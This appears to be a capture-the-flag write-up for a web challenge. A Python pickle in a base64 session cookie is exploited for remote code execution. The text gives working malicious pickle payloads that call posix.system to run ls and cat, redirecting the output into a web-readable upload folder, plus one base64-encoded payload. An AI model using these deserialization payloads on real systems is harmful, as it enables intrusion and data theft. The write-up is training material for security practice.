Skip to content

Secret Police Self Service

Jenn Janesko edited this page Apr 16, 2019 · 6 revisions

Cyber Police Self Service had the following description:

Hello my dear hacker friend,

recently cyber police set up a new website where they want to give free decryption keys to the people, whose data were encrypted by me. As usual, the site is poorly coded. I already hacked their database and removed any decryption key I could find in there. Also, I left a little message for you on the web server, so you might want to have a look by yourself!

Best wishes Captain Crypto

The website showed three input fields for First Name, Last Name and Email

When entering some data and submitting the form, the following message is displayed:

Hello Test Test, We received your request. Unfortunately, your decryption key has not been found yet.

I wanted to try simple attacks like SQL injection, but when refreshing the site, the message was persisting. So, I decided to pursue to options:

  1. There were other pages in the web application that were not linked. I set up a dirb session to look for hidden pages.
  2. The message that stayed the same after I refreshed led me to the conclusion that some session management was in place. I planned to inspect the session.

Indeed, when inspecting the network traffic with Burp, I saw that the website sent an XHR request to a CGI-script called api.cgi, which in return set a cookie of the following form: Cookie: session=KGxwMApTJ1Rlc3QnCnAxCmFTJ1Rlc3QnCnAyCmFTJ3Rlc3RAdGVzdC5kZScKcDMKYS4- Except for the '-' at the end, the cookie value looked like base64 encoded data to me, so I base64-decoded the value.

$ echo 'KGxwMApTJ1Rlc3QnCnAxCmFTJ1Rlc3QnCnAyCmFTJ3Rlc3RAdGVzdC5kZScKcDMKYS4-' | base64 -d

(lp0

S'Test'

p1

aS'Test'

p2

aS'test@test.de'

p3

a.base64: invalid input

The cookie contained all three input values from the form embedded in a weird format.

I entered the first characters of the string "(lp0" into Google search to gather some information, and the second hit was Python Pickles which is a serialization mechanism of python. Further research showed that python pickles has some serious security issues because deserializing untrusted pickles data can lead to remote code execution. I found a script that helps build attack pickle payloads under: < href="https://gist.github.com/0xBADCA7/f4c700fcbb5fb8785c14">https://gist.github.com/0xBADCA7/f4c700fcbb5fb8785c14.

As a proof of concept, I tried one of the basic exploits from the script "ls". It generated a python serialized object like:

cposix

system

p0

(S'ls'

p1

tp2

Rp3

.

I base64 encoded the value at https://www.base64encode.org/. I used the repeater in Burp and sent the base64 value as the session cookie. It resulted in the follow error message from the server.

This was both encouraging and discouraging. The error message indicated that I had sent something unexpected. My assumption was that it was expecting a serialized object of a specific format, and what I sent was incorrect. Unfortunately, it did not result in a display of the "ls" command.

I reflected on how I could see the results of this command. I checked the results of my dirb scan, and I noticed it discovered an "upload" folder in the webroot. I guessed that it would be writable, so I decided to try running "ls" and outputting the results to a file in the upload folder. The first challenge for this was to find out where in the file system that folder was located.

From the HTTP response header, I could see that the server was Apache and the operating system was Ubuntu. A quick search in Google revealed a likely path. According to https://www.digitalocean.com/community/tutorials/how-to-move-an-apache-web-root-to-a-new-location-on-ubuntu-16-04, the document path for Apache on Ubuntu is /var/www/html. This meant that the upload directory was likeley under /var/www/html/upload. I tried a few versions of the ls command redirecting to the /var/www/html/upload/<filename>.txt, and I finally found success with the command: ls >> /var/www/html/upload/nooo.txt.

This resulted in a serialized pickle object that looks like:

cposix

system

p0

(S'ls >> /var/www/html/upload/nooo.txt'

p1

tp2

Rp3

.

I base64 encoded the object, and sent it via the header via Burp repeater.

This resulted in a page with a listing of the files in the directory.

This included a flag.txt file. I tried a few versions of the cat command with various redirects to a file, and I finally got the following pickle to work.

cposix

system

p0

(S'cat flag.txt > /var/www/html/upload/argh.txt'

p1

tp2

Rp3

.

Using Burp repeater again, I sent a base64 encoded version of the serialized pickle object (Y3Bvc2l4CnN5c3RlbQpwMAooUydjYXQgZmxhZy50eHQgPiAvdmFyL3d3dy9odG1sL3VwbG9hZC9hcmdoLnR4dCcKcDEKdHAyClJwMwou) via the session cookie.

Browsing to http://challenges.ctfd.io:30075/upload/argh.txt gave me the following flag: mucctf{0e85d401e886c69610b352b14f3e101e8d3fc193}


Write up credits: Stefan B

You can’t perform that action at this time.